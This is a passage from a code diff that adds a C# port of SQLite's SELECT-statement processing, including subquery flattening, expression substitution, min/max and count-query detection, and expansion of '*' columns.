null ) return null; + if ( pExpr.op == TK_COLUMN && pExpr.iTable == iTable ) + { + if ( pExpr.iColumn < 0 ) + { + pExpr.op = TK_NULL; + } + else + { + Expr pNew; + Debug.Assert( pEList != null && pExpr.iColumn < pEList.nExpr ); + Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); + pNew = sqlite3ExprDup( db, pEList.a[pExpr.iColumn].pExpr, 0 ); + if ( pExpr.pColl != null ) + { + pNew.pColl = pExpr.pColl; + } + sqlite3ExprDelete( db, ref pExpr ); + pExpr = pNew; + } + } + else + { + pExpr.pLeft = substExpr( db, pExpr.pLeft, iTable, pEList ); + pExpr.pRight = substExpr( db, pExpr.pRight, iTable, pEList ); + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + substSelect( db, pExpr.x.pSelect, iTable, pEList ); + } + else + { + substExprList( db, pExpr.x.pList, iTable, pEList ); + } + } + return pExpr; + } + + static void substExprList( + sqlite3 db, /* Report malloc errors here */ + ExprList pList, /* List to scan and in which to make substitutes */ + int iTable, /* Table to be substituted */ + ExprList pEList /* Substitute values */ + ) + { + int i; + if ( pList == null ) return; + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + pList.a[i].pExpr = substExpr( db, pList.a[i].pExpr, iTable, pEList ); + } + } + + static void substSelect( + sqlite3 db, /* Report malloc errors here */ + Select p, /* SELECT statement in which to make substitutions */ + int iTable, /* Table to be replaced */ + ExprList pEList /* Substitute values */ + ) + { + SrcList pSrc; + SrcList_item pItem; + int i; + if ( p == null ) return; + substExprList( db, p.pEList, iTable, pEList ); + substExprList( db, p.pGroupBy, iTable, pEList ); + substExprList( db, p.pOrderBy, iTable, pEList ); + p.pHaving = substExpr( db, p.pHaving, iTable, pEList ); + p.pWhere = substExpr( db, p.pWhere, iTable, pEList ); + substSelect( db, p.pPrior, iTable, pEList ); + pSrc = p.pSrc; + Debug.Assert( pSrc != null ); /* Even for (SELECT 1) we have: pSrc!=0 but pSrc->nSrc==0 */ + if ( ALWAYS( pSrc ) ) + { + for ( i = pSrc.nSrc ; i > 0 ; i-- )//, pItem++ ) + { + pItem = pSrc.a[pSrc.nSrc - i]; + substSelect( db, pItem.pSelect, iTable, pEList ); + } + } + } +#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ + +#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW) + /* +** This routine attempts to flatten subqueries in order to speed +** execution. It returns 1 if it makes changes and 0 if no flattening +** occurs. +** +** To understand the concept of flattening, consider the following +** query: +** +** SELECT a FROM (SELECT x+y AS a FROM t1 WHERE z<100) WHERE a>5 +** +** The default way of implementing this query is to execute the +** subquery first and store the results in a temporary table, then +** run the outer query on that temporary table. This requires two +** passes over the data. Furthermore, because the temporary table +** has no indices, the WHERE clause on the outer query cannot be +** optimized. +** +** This routine attempts to rewrite queries such as the above into +** a single flat select, like this: +** +** SELECT x+y AS a FROM t1 WHERE z<100 AND a>5 +** +** The code generated for this simpification gives the same result +** but only has to scan the data once. And because indices might +** exist on the table t1, a complete scan of the data might be +** avoided. +** +** Flattening is only attempted if all of the following are true: +** +** (1) The subquery and the outer query do not both use aggregates. +** +** (2) The subquery is not an aggregate or the outer query is not a join. +** +** (3) The subquery is not the right operand of a left outer join +** (Originally ticket #306. Strenghtened by ticket #3300) +** +** (4) The subquery is not DISTINCT or the outer query is not a join. +** +** (5) The subquery is not DISTINCT or the outer query does not use +** aggregates. +** +** (6) The subquery does not use aggregates or the outer query is not +** DISTINCT. +** +** (7) The subquery has a FROM clause. +** +** (8) The subquery does not use LIMIT or the outer query is not a join. +** +** (9) The subquery does not use LIMIT or the outer query does not use +** aggregates. +** +** (10) The subquery does not use aggregates or the outer query does not +** use LIMIT. +** +** (11) The subquery and the outer query do not both have ORDER BY clauses. +** +** (12) Not implemented. Subsumed into restriction (3). Was previously +** a separate restriction deriving from ticket #350. +** +** (13) The subquery and outer query do not both use LIMIT +** +** (14) The subquery does not use OFFSET +** +** (15) The outer query is not part of a compound select or the +** subquery does not have both an ORDER BY and a LIMIT clause. +** (See ticket #2339) +** +** (16) The outer query is not an aggregate or the subquery does +** not contain ORDER BY. (Ticket #2942) This used to not matter +** until we introduced the group_concat() function. +** +** (17) The sub-query is not a compound select, or it is a UNION ALL +** compound clause made up entirely of non-aggregate queries, and +** the parent query: +** +** * is not itself part of a compound select, +** * is not an aggregate or DISTINCT query, and +** * has no other tables or sub-selects in the FROM clause. +** +** The parent and sub-query may contain WHERE clauses. Subject to +** rules (11), (13) and (14), they may also contain ORDER BY, +** LIMIT and OFFSET clauses. +** +** (18) If the sub-query is a compound select, then all terms of the +** ORDER by clause of the parent must be simple references to +** columns of the sub-query. +** +** (19) The subquery does not use LIMIT or the outer query does not +** have a WHERE clause. +** +** (20) If the sub-query is a compound select, then it must not use +** an ORDER BY clause. Ticket #3773. We could relax this constraint +** somewhat by saying that the terms of the ORDER BY clause must +** appear as unmodified result columns in the outer query. But +** have other optimizations in mind to deal with that case. +** +** In this routine, the "p" parameter is a pointer to the outer query. +** The subquery is p.pSrc.a[iFrom]. isAgg is true if the outer query +** uses aggregates and subqueryIsAgg is true if the subquery uses aggregates. +** +** If flattening is not attempted, this routine is a no-op and returns 0. +** If flattening is attempted this routine returns 1. +** +** All of the expression analysis must occur on both the outer query and +** the subquery before this routine runs. +*/ + static int flattenSubquery( + Parse pParse, /* Parsing context */ + Select p, /* The parent or outer SELECT statement */ + int iFrom, /* Index in p.pSrc.a[] of the inner subquery */ + bool isAgg, /* True if outer SELECT uses aggregate functions */ + bool subqueryIsAgg /* True if the subquery uses aggregate functions */ + ) + { + string zSavedAuthContext = pParse.zAuthContext; + Select pParent; + Select pSub; /* The inner query or "subquery" */ + Select pSub1; /* Pointer to the rightmost select in sub-query */ + SrcList pSrc; /* The FROM clause of the outer query */ + SrcList pSubSrc; /* The FROM clause of the subquery */ + ExprList pList; /* The result set of the outer query */ + int iParent; /* VDBE cursor number of the pSub result set temp table */ + int i; /* Loop counter */ + Expr pWhere; /* The WHERE clause */ + SrcList_item pSubitem;/* The subquery */ + sqlite3 db = pParse.db; + + /* Check to see if flattening is permitted. Return 0 if not. + */ + Debug.Assert( p != null ); + Debug.Assert( p.pPrior == null ); /* Unable to flatten compound queries */ + pSrc = p.pSrc; + Debug.Assert( pSrc != null && iFrom >= 0 && iFrom < pSrc.nSrc ); + pSubitem = pSrc.a[iFrom]; + iParent = pSubitem.iCursor; + pSub = pSubitem.pSelect; + Debug.Assert( pSub != null ); + if ( isAgg && subqueryIsAgg ) return 0; /* Restriction (1) */ + if ( subqueryIsAgg && pSrc.nSrc > 1 ) return 0; /* Restriction (2) */ + pSubSrc = pSub.pSrc; + Debug.Assert( pSubSrc != null ); + /* Prior to version 3.1.2, when LIMIT and OFFSET had to be simple constants, + ** not arbitrary expresssions, we allowed some combining of LIMIT and OFFSET + ** because they could be computed at compile-time. But when LIMIT and OFFSET + ** became arbitrary expressions, we were forced to add restrictions (13) + ** and (14). */ + if ( pSub.pLimit != null && p.pLimit != null ) return 0; /* Restriction (13) */ + if ( pSub.pOffset != null ) return 0; /* Restriction (14) */ + if ( p.pRightmost != null && pSub.pLimit != null && pSub.pOrderBy != null ) + { + return 0; /* Restriction (15) */ + } + if ( pSubSrc.nSrc == 0 ) return 0; /* Restriction (7) */ + if ( ( pSub.selFlags & SF_Distinct ) != 0 || pSub.pLimit != null + && ( pSrc.nSrc > 1 || isAgg ) ) + { /* Restrictions (4)(5)(8)(9) */ + return 0; + } + if ( ( p.selFlags & SF_Distinct ) != 0 && subqueryIsAgg ) + { + return 0; /* Restriction (6) */ + } + if ( p.pOrderBy != null && pSub.pOrderBy != null ) + { + return 0; /* Restriction (11) */ + } + if ( isAgg && pSub.pOrderBy != null ) return 0; /* Restriction (16) */ + if ( pSub.pLimit != null && p.pWhere != null ) return 0; /* Restriction (19) */ + + /* OBSOLETE COMMENT 1: + ** Restriction 3: If the subquery is a join, make sure the subquery is + ** not used as the right operand of an outer join. Examples of why this + ** is not allowed: + ** + ** t1 LEFT OUTER JOIN (t2 JOIN t3) + ** + ** If we flatten the above, we would get + ** + ** (t1 LEFT OUTER JOIN t2) JOIN t3 + ** + ** which is not at all the same thing. + ** + ** OBSOLETE COMMENT 2: + ** Restriction 12: If the subquery is the right operand of a left outer + + /* Restriction 12: If the subquery is the right operand of a left outer + ** join, make sure the subquery has no WHERE clause. + ** An examples of why this is not allowed: + ** + ** t1 LEFT OUTER JOIN (SELECT * FROM t2 WHERE t2.x>0) + ** + ** If we flatten the above, we would get + ** + ** (t1 LEFT OUTER JOIN t2) WHERE t2.x>0 + ** + ** But the t2.x>0 test will always fail on a NULL row of t2, which + ** effectively converts the OUTER JOIN into an INNER JOIN. + ** + ** THIS OVERRIDES OBSOLETE COMMENTS 1 AND 2 ABOVE: + ** Ticket #3300 shows that flattening the right term of a LEFT JOIN + ** is fraught with danger. Best to avoid the whole thing. If the + ** subquery is the right term of a LEFT JOIN, then do not flatten. + */ + if ( ( pSubitem.jointype & JT_OUTER ) != 0 ) + { + return 0; + } + + /* Restriction 17: If the sub-query is a compound SELECT, then it must + ** use only the UNION ALL operator. And none of the simple select queries + ** that make up the compound SELECT are allowed to be aggregate or distinct + ** queries. + */ + if ( pSub.pPrior != null ) + { + if ( pSub.pOrderBy != null ) + { + return 0; /* Restriction 20 */ + } + if ( isAgg || ( p.selFlags & SF_Distinct ) != 0 || pSrc.nSrc != 1 ) + { + return 0; + } + for ( pSub1 = pSub ; pSub1 != null ; pSub1 = pSub1.pPrior ) + { + testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ); + testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate ); + if ( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0 + || ( pSub1.pPrior != null && pSub1.op != TK_ALL ) + || NEVER( pSub1.pSrc == null ) || pSub1.pSrc.nSrc != 1 + ) + { + return 0; + } + } + + /* Restriction 18. */ + if ( p.pOrderBy != null ) + { + int ii; + for ( ii = 0 ; ii < p.pOrderBy.nExpr ; ii++ ) + { + if ( p.pOrderBy.a[ii].iCol == 0 ) return 0; + } + } + } + + /***** If we reach this point, flattening is permitted. *****/ + + /* Authorize the subquery */ + pParse.zAuthContext = pSubitem.zName; + sqlite3AuthCheck( pParse, SQLITE_SELECT, null, null, null ); + pParse.zAuthContext = zSavedAuthContext; + + /* If the sub-query is a compound SELECT statement, then (by restrictions + ** 17 and 18 above) it must be a UNION ALL and the parent query must + ** be of the form: + ** + ** SELECT FROM () + ** + ** followed by any ORDER BY, LIMIT and/or OFFSET clauses. This block + ** creates N-1 copies of the parent query without any ORDER BY, LIMIT or + ** OFFSET clauses and joins them to the left-hand-side of the original + ** using UNION ALL operators. In this case N is the number of simple + ** select statements in the compound sub-query. + ** + ** Example: + ** + ** SELECT a+1 FROM ( + ** SELECT x FROM tab + ** UNION ALL + ** SELECT y FROM tab + ** UNION ALL + ** SELECT abs(z*2) FROM tab2 + ** ) WHERE a!=5 ORDER BY 1 + ** + ** Transformed into: + ** + ** SELECT x+1 FROM tab WHERE x+1!=5 + ** UNION ALL + ** SELECT y+1 FROM tab WHERE y+1!=5 + ** UNION ALL + ** SELECT abs(z*2)+1 FROM tab2 WHERE abs(z*2)+1!=5 + ** ORDER BY 1 + ** + ** We call this the "compound-subquery flattening". + */ + for ( pSub = pSub.pPrior ; pSub != null ; pSub = pSub.pPrior ) + { + Select pNew; + ExprList pOrderBy = p.pOrderBy; + Expr pLimit = p.pLimit; + Select pPrior = p.pPrior; + p.pOrderBy = null; + p.pSrc = null; + p.pPrior = null; + p.pLimit = null; + pNew = sqlite3SelectDup( db, p, 0 ); + p.pLimit = pLimit; + p.pOrderBy = pOrderBy; + p.pSrc = pSrc; + p.op = TK_ALL; + p.pRightmost = null; + if ( pNew == null ) + { + pNew = pPrior; + } + else + { + pNew.pPrior = pPrior; + pNew.pRightmost = null; + } + p.pPrior = pNew; +// if ( db.mallocFailed != 0 ) return 1; + } + + /* Begin flattening the iFrom-th entry of the FROM clause + ** in the outer query. + */ + pSub = pSub1 = pSubitem.pSelect; + /* Delete the transient table structure associated with the + ** subquery + */ + + //sqlite3DbFree( db, ref pSubitem.zDatabase ); + //sqlite3DbFree( db, ref pSubitem.zName ); + //sqlite3DbFree( db, ref pSubitem.zAlias ); + pSubitem.zDatabase = null; + pSubitem.zName = null; + pSubitem.zAlias = null; + pSubitem.pSelect = null; + /* Defer deleting the Table object associated with the + ** subquery until code generation is + ** complete, since there may still exist Expr.pTab entries that + ** refer to the subquery even after flattening. Ticket #3346. + ** + ** pSubitem->pTab is always non-NULL by test restrictions and tests above. + */ + if ( ALWAYS( pSubitem.pTab != null ) ) + { + Table pTabToDel = pSubitem.pTab; + if ( pTabToDel.nRef == 1 ) + { + pTabToDel.pNextZombie = pParse.pZombieTab; + pParse.pZombieTab = pTabToDel; + } + else + { + pTabToDel.nRef--; + } + pSubitem.pTab = null; + } + + /* The following loop runs once for each term in a compound-subquery + ** flattening (as described above). If we are doing a different kind + ** of flattening - a flattening other than a compound-subquery flattening - + ** then this loop only runs once. + ** + ** This loop moves all of the FROM elements of the subquery into the + ** the FROM clause of the outer query. Before doing this, remember + ** the cursor number for the original outer query FROM element in + ** iParent. The iParent cursor will never be used. Subsequent code + ** will scan expressions looking for iParent references and replace + ** those references with expressions that resolve to the subquery FROM + ** elements we are now copying in. + */ + for ( pParent = p ; pParent != null ; pParent = pParent.pPrior, pSub = pSub.pPrior ) + { + int nSubSrc; + u8 jointype = 0; + pSubSrc = pSub.pSrc; /* FROM clause of subquery */ + nSubSrc = pSubSrc.nSrc; /* Number of terms in subquery FROM clause */ + pSrc = pParent.pSrc; /* FROM clause of the outer query */ + + if ( pSrc != null ) + { + Debug.Assert( pParent == p ); /* First time through the loop */ + jointype = pSubitem.jointype; + } + else + { + Debug.Assert( pParent != p ); /* 2nd and subsequent times through the loop */ + pSrc = pParent.pSrc = sqlite3SrcListAppend( db, null, null, null ); + //if ( pSrc == null ) + //{ + // //Debug.Assert( db.mallocFailed != 0 ); + // break; + //} + } + + /* The subquery uses a single slot of the FROM clause of the outer + ** query. If the subquery has more than one element in its FROM clause, + ** then expand the outer query to make space for it to hold all elements + ** of the subquery. + ** + ** Example: + ** + ** SELECT * FROM tabA, (SELECT * FROM sub1, sub2), tabB; + ** + ** The outer query has 3 slots in its FROM clause. One slot of the + ** outer query (the middle slot) is used by the subquery. The next + ** block of code will expand the out query to 4 slots. The middle + ** slot is expanded to two slots in order to make space for the + ** two elements in the FROM clause of the subquery. + */ + if ( nSubSrc > 1 ) + { + pParent.pSrc = pSrc = sqlite3SrcListEnlarge( db, pSrc, nSubSrc - 1, iFrom + 1 ); + //if ( db.mallocFailed != 0 ) + //{ + // break; + //} + } + + /* Transfer the FROM clause terms from the subquery into the + ** outer query. + */ + for ( i = 0 ; i < nSubSrc ; i++ ) + { + sqlite3IdListDelete( db, ref pSrc.a[i + iFrom].pUsing ); + pSrc.a[i + iFrom] = pSubSrc.a[i]; + pSubSrc.a[i] = new SrcList_item();//memset(pSubSrc.a[i], 0, sizeof(pSubSrc.a[i])); + } + pSrc.a[iFrom].jointype = jointype; + + /* Now begin substituting subquery result set expressions for + ** references to the iParent in the outer query. + ** + ** Example: + ** + ** SELECT a+5, b*10 FROM (SELECT x*3 AS a, y+10 AS b FROM t1) WHERE a>b; + ** \ \_____________ subquery __________/ / + ** \_____________________ outer query ______________________________/ + ** + ** We look at every expression in the outer query and every place we see + ** "a" we substitute "x*3" and every place we see "b" we substitute "y+10". + */ + pList = pParent.pEList; + for ( i = 0 ; i < pList.nExpr ; i++ ) + { + if ( pList.a[i].zName == null ) + { + string zSpan = pList.a[i].zSpan; + if ( ALWAYS( zSpan ) ) + { + pList.a[i].zName = zSpan;// sqlite3DbStrDup( db, zSpan ); + } + } + } + substExprList( db, pParent.pEList, iParent, pSub.pEList ); + if ( isAgg ) + { + substExprList( db, pParent.pGroupBy, iParent, pSub.pEList ); + pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); + } + if ( pSub.pOrderBy != null ) + { + Debug.Assert( pParent.pOrderBy == null ); + pParent.pOrderBy = pSub.pOrderBy; + pSub.pOrderBy = null; + } + else if ( pParent.pOrderBy != null ) + { + substExprList( db, pParent.pOrderBy, iParent, pSub.pEList ); + } + if ( pSub.pWhere != null ) + { + pWhere = sqlite3ExprDup( db, pSub.pWhere, 0 ); + } + else + { + pWhere = null; + } + if ( subqueryIsAgg ) + { + Debug.Assert( pParent.pHaving == null ); + pParent.pHaving = pParent.pWhere; + pParent.pWhere = pWhere; + pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList ); + pParent.pHaving = sqlite3ExprAnd( db, pParent.pHaving, + sqlite3ExprDup( db, pSub.pHaving, 0 ) ); + Debug.Assert( pParent.pGroupBy == null ); + pParent.pGroupBy = sqlite3ExprListDup( db, pSub.pGroupBy, 0 ); + } + else + { + pParent.pWhere = substExpr( db, pParent.pWhere, iParent, pSub.pEList ); + pParent.pWhere = sqlite3ExprAnd( db, pParent.pWhere, pWhere ); + } + + /* The flattened query is distinct if either the inner or the + ** outer query is distinct. + */ + pParent.selFlags = (u16)( pParent.selFlags | pSub.selFlags & SF_Distinct ); + + /* + ** SELECT ... FROM (SELECT ... LIMIT a OFFSET b) LIMIT x OFFSET y; + ** + ** One is tempted to try to add a and b to combine the limits. But this + ** does not work if either limit is negative. + */ + if ( pSub.pLimit != null ) + { + pParent.pLimit = pSub.pLimit; + pSub.pLimit = null; + } + } + + /* Finially, delete what is left of the subquery and return + ** success. + */ + sqlite3SelectDelete( db, ref pSub ); + sqlite3SelectDelete( db, ref pSub1 ); + return 1; + } +#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */ + + /* +** Analyze the SELECT statement passed as an argument to see if it +** is a min() or max() query. Return WHERE_ORDERBY_MIN or WHERE_ORDERBY_MAX if +** it is, or 0 otherwise. At present, a query is considered to be +** a min()/max() query if: +** +** 1. There is a single object in the FROM clause. +** +** 2. There is a single expression in the result set, and it is +** either min(x) or max(x), where x is a column reference. +*/ + static u8 minMaxQuery( Select p ) + { + Expr pExpr; + ExprList pEList = p.pEList; + + if ( pEList.nExpr != 1 ) return WHERE_ORDERBY_NORMAL; + pExpr = pEList.a[0].pExpr; + if ( pExpr.op != TK_AGG_FUNCTION ) return 0; + if ( NEVER( ExprHasProperty( pExpr, EP_xIsSelect ) ) ) return 0; + pEList = pExpr.x.pList; + if ( pEList == null || pEList.nExpr != 1 ) return 0; + if ( pEList.a[0].pExpr.op != TK_AGG_COLUMN ) return WHERE_ORDERBY_NORMAL; + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + if ( String.Compare( pExpr.u.zToken, "min", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,"min")==0 ) + { + return WHERE_ORDERBY_MIN; + } + else if ( String.Compare( pExpr.u.zToken, "max", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,"max")==0 ) + { + return WHERE_ORDERBY_MAX; + } + return WHERE_ORDERBY_NORMAL; + } + + /* + ** The select statement passed as the first argument is an aggregate query. + ** The second argment is the associated aggregate-info object. This + ** function tests if the SELECT is of the form: + ** + ** SELECT count(*) FROM + ** + ** where table is a database table, not a sub-select or view. If the query + ** does match this pattern, then a pointer to the Table object representing + ** is returned. Otherwise, 0 is returned. + */ + static Table isSimpleCount( Select p, AggInfo pAggInfo ) + { + Table pTab; + Expr pExpr; + + Debug.Assert( null == p.pGroupBy ); + + if ( p.pWhere != null || p.pEList.nExpr != 1 + || p.pSrc.nSrc != 1 || p.pSrc.a[0].pSelect != null + ) + { + return null; + } + pTab = p.pSrc.a[0].pTab; + pExpr = p.pEList.a[0].pExpr; + Debug.Assert( pTab != null && null == pTab.pSelect && pExpr != null ); + + if ( IsVirtual( pTab ) ) return null; + if ( pExpr.op != TK_AGG_FUNCTION ) return null; + if ( ( pAggInfo.aFunc[0].pFunc.flags & SQLITE_FUNC_COUNT ) == 0 ) return null; + if ( ( pExpr.flags & EP_Distinct ) != 0 ) return null; + + return pTab; + } + + /* + ** If the source-list item passed as an argument was augmented with an + ** INDEXED BY clause, then try to locate the specified index. If there + ** was such a clause and the named index cannot be found, return + ** SQLITE_ERROR and leave an error in pParse. Otherwise, populate + ** pFrom.pIndex and return SQLITE_OK. + */ + static int sqlite3IndexedByLookup( Parse pParse, SrcList_item pFrom ) + { + if ( pFrom.pTab != null && pFrom.zIndex != null && pFrom.zIndex.Length != 0 ) + { + Table pTab = pFrom.pTab; + string zIndex = pFrom.zIndex; + Index pIdx; + for ( pIdx = pTab.pIndex ; + pIdx != null && sqlite3StrICmp( pIdx.zName, zIndex ) != 0 ; + pIdx = pIdx.pNext + ) ; + if ( null == pIdx ) + { + sqlite3ErrorMsg( pParse, "no such index: %s", zIndex ); + return SQLITE_ERROR; + } + pFrom.pIndex = pIdx; + } + return SQLITE_OK; + } + + /* + ** This routine is a Walker callback for "expanding" a SELECT statement. + ** "Expanding" means to do the following: + ** + ** (1) Make sure VDBE cursor numbers have been assigned to every + ** element of the FROM clause. + ** + ** (2) Fill in the pTabList.a[].pTab fields in the SrcList that + ** defines FROM clause. When views appear in the FROM clause, + ** fill pTabList.a[].x.pSelect with a copy of the SELECT statement + ** that implements the view. A copy is made of the view's SELECT + ** statement so that we can freely modify or delete that statement + ** without worrying about messing up the presistent representation + ** of the view. + ** + ** (3) Add terms to the WHERE clause to accomodate the NATURAL keyword + ** on joins and the ON and USING clause of joins. + ** + ** (4) Scan the list of columns in the result set (pEList) looking + ** for instances of the "*" operator or the TABLE.* operator. + ** If found, expand each "*" to be every column in every table + ** and TABLE.* to be every column in TABLE. + ** + */ + static int selectExpander( Walker pWalker, Select p ) + { + Parse pParse = pWalker.pParse; + int i, j, k; + SrcList pTabList; + ExprList pEList; + SrcList_item pFrom; + sqlite3 db = pParse.db; + + //if ( db.mallocFailed != 0 ) + //{ + // return WRC_Abort; + //} + if ( NEVER( p.pSrc == null ) || ( p.selFlags & SF_Expanded ) != 0 ) + { + return WRC_Prune; + } + p.selFlags |= SF_Expanded; + pTabList = p.pSrc; + pEList = p.pEList; + + /* Make sure cursor numbers have been assigned to all entries in + ** the FROM clause of the SELECT statement. + */ + sqlite3SrcListAssignCursors( pParse, pTabList ); + + /* Look up every table named in the FROM clause of the select. If + ** an entry of the FROM clause is a subquery instead of a table or view, + ** then create a transient table ure to describe the subquery. + */ + for ( i = 0 ; i < pTabList.nSrc ; i++ )// pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab; + if ( pFrom.pTab != null ) + { + /* This statement has already been prepared. There is no need + ** to go further. */ + Debug.Assert( i == 0 ); + return WRC_Prune; + } + if ( pFrom.zName == null ) + { +#if !SQLITE_OMIT_SUBQUERY + Select pSel = pFrom.pSelect; + /* A sub-query in the FROM clause of a SELECT */ + Debug.Assert( pSel != null ); + Debug.Assert( pFrom.pTab == null ); + sqlite3WalkSelect( pWalker, pSel ); + pFrom.pTab = pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); + if ( pTab == null ) return WRC_Abort; + pTab.dbMem = db.lookaside.bEnabled != 0 ? db : null; + pTab.nRef = 1; + pTab.zName = sqlite3MPrintf( db, "sqlite_subquery_%p_", pTab ); + while ( pSel.pPrior != null ) { pSel = pSel.pPrior; } + selectColumnsFromExprList( pParse, pSel.pEList, ref pTab.nCol, ref pTab.aCol ); + pTab.iPKey = -1; + pTab.tabFlags |= TF_Ephemeral; +#endif + } + else + { + /* An ordinary table or view name in the FROM clause */ + Debug.Assert( pFrom.pTab == null ); + pFrom.pTab = pTab = + sqlite3LocateTable( pParse, 0, pFrom.zName, pFrom.zDatabase ); + if ( pTab == null ) return WRC_Abort; + pTab.nRef++; +#if !(SQLITE_OMIT_VIEW) || !(SQLITE_OMIT_VIRTUALTABLE) + if ( pTab.pSelect != null || IsVirtual( pTab ) ) + { + /* We reach here if the named table is a really a view */ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) return WRC_Abort; + + pFrom.pSelect = sqlite3SelectDup( db, pTab.pSelect, 0 ); + sqlite3WalkSelect( pWalker, pFrom.pSelect ); + } +#endif + } + /* Locate the index named by the INDEXED BY clause, if any. */ + if ( sqlite3IndexedByLookup( pParse, pFrom ) != 0 ) + { + return WRC_Abort; + } + } + + /* Process NATURAL keywords, and ON and USING clauses of joins. + */ + if ( /* db.mallocFailed != 0 || */ sqliteProcessJoin( pParse, p ) != 0 ) + { + return WRC_Abort; + } + + /* For every "*" that occurs in the column list, insert the names of + ** all columns in all tables. And for every TABLE.* insert the names + ** of all columns in TABLE. The parser inserted a special expression + ** with the TK_ALL operator for each "*" that it found in the column list. + ** The following code just has to locate the TK_ALL expressions and expand + ** each one to the list of all columns in all tables. + ** + ** The first loop just checks to see if there are any "*" operators + ** that need expanding. + */ + for ( k = 0 ; k < pEList.nExpr ; k++ ) + { + Expr pE = pEList.a[k].pExpr; + if ( pE.op == TK_ALL ) break; + Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); + Debug.Assert( pE.op != TK_DOT || ( pE.pLeft != null && pE.pLeft.op == TK_ID ) ); + if ( pE.op == TK_DOT && pE.pRight.op == TK_ALL ) break; + } + if ( k < pEList.nExpr ) + { + /* + ** If we get here it means the result set contains one or more "*" + ** operators that need to be expanded. Loop through each expression + ** in the result set and expand them one by one. + */ + ExprList_item[] a = pEList.a; + ExprList pNew = null; + int flags = pParse.db.flags; + bool longNames = ( flags & SQLITE_FullColNames ) != 0 + && ( flags & SQLITE_ShortColNames ) == 0; + + for ( k = 0 ; k < pEList.nExpr ; k++ ) + { + Expr pE = a[k].pExpr; + Debug.Assert( pE.op != TK_DOT || pE.pRight != null ); + if ( pE.op != TK_ALL && ( pE.op != TK_DOT || pE.pRight.op != TK_ALL ) ) + { + /* This particular expression does not need to be expanded. + */ + pNew = sqlite3ExprListAppend( pParse, pNew, a[k].pExpr ); + if ( pNew != null ) + { + pNew.a[pNew.nExpr - 1].zName = a[k].zName; + pNew.a[pNew.nExpr - 1].zSpan = a[k].zSpan; + a[k].zName = null; + a[k].zSpan = null; + } + a[k].pExpr = null; + } + else + { + /* This expression is a "*" or a "TABLE.*" and needs to be + ** expanded. */ + int tableSeen = 0; /* Set to 1 when TABLE matches */ + string zTName; /* text of name of TABLE */ + if ( pE.op == TK_DOT ) + { + Debug.Assert( pE.pLeft != null ); + Debug.Assert( !ExprHasProperty( pE.pLeft, EP_IntValue ) ); + zTName = pE.pLeft.u.zToken; + } + else + { + zTName = null; + } + for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ ) + { + pFrom = pTabList.a[i]; + Table pTab = pFrom.pTab; + string zTabName = pFrom.zAlias; + if ( zTabName == null ) + { + zTabName = pTab.zName; + } + ///if ( db.mallocFailed != 0 ) break; + if ( zTName != null && sqlite3StrICmp( zTName, zTabName ) != 0 ) + { + continue; + } + tableSeen = 1; + for ( j = 0 ; j < pTab.nCol ; j++ ) + { + Expr pExpr, pRight; + string zName = pTab.aCol[j].zName; + string zColname; /* The computed column name */ + string zToFree; /* Malloced string that needs to be freed */ + Token sColname = new Token(); /* Computed column name as a token */ + + /* If a column is marked as 'hidden' (currently only possible + ** for virtual tables), do not include it in the expanded + ** result-set list. + */ + if ( IsHiddenColumn( pTab.aCol[j] ) ) + { + Debug.Assert( IsVirtual( pTab ) ); + continue; + } + + if ( i > 0 && ( zTName == null || zTName.Length == 0 ) ) + { + SrcList_item pLeft = pTabList.a[i - 1]; + if ( ( pTabList.a[i].jointype & JT_NATURAL ) != 0 &&//pLeft[1] + columnIndex( pLeft.pTab, zName ) >= 0 ) + { + /* In a NATURAL join, omit the join columns from the + ** table on the right */ + continue; + } + if ( sqlite3IdListIndex( pTabList.a[i].pUsing, zName ) >= 0 )//pLeft[1] + { + /* In a join with a USING clause, omit columns in the + ** using clause from the table on the right. */ + continue; + } + } + pRight = sqlite3Expr( db, TK_ID, zName ); + zColname = zName; + zToFree = ""; + if ( longNames || pTabList.nSrc > 1 ) + { + Expr pLeft; + pLeft = sqlite3Expr( db, TK_ID, zTabName ); + pExpr = sqlite3PExpr( pParse, TK_DOT, pLeft, pRight, 0 ); + if ( longNames ) + { + zColname = sqlite3MPrintf( db, "%s.%s", zTabName, zName ); + zToFree = zColname; + } + } + else + { + pExpr = pRight; + } + pNew = sqlite3ExprListAppend( pParse, pNew, pExpr ); + sColname.z = zColname; + sColname.n = sqlite3Strlen30( zColname ); + sqlite3ExprListSetName( pParse, pNew, sColname, 0 ); + //sqlite3DbFree( db, zToFree ); + } + } + if ( tableSeen == 0 ) + { + if ( zTName != null ) + { + sqlite3ErrorMsg( pParse, "no such table: %s", zTName ); + } + else + { + sqlite3ErrorMsg( pParse, "no tables specified" ); + } + } + } + } + sqlite3ExprListDelete( db, ref pEList ); + p.pEList = pNew; + } +#if SQLITE_MAX_COLUMN +if( p.pEList && p.pEList.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){ +sqlite3ErrorMsg(pParse, "too many columns in result set"); +} +#endif + return WRC_Continue; + } + + /* + ** No-op routine for the parse-tree walker. + ** + ** When this routine is the Walker.xExprCallback then expression trees + ** are walked without any actions being taken at each node. Presumably, + ** when this routine is used for Walker.xExprCallback then + ** Walker.xSelectCallback is set to do something useful for every + ** subquery in the parser tree. + */ + static int exprWalkNoop( Walker NotUsed, ref Expr NotUsed2 ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + return WRC_Continue; + 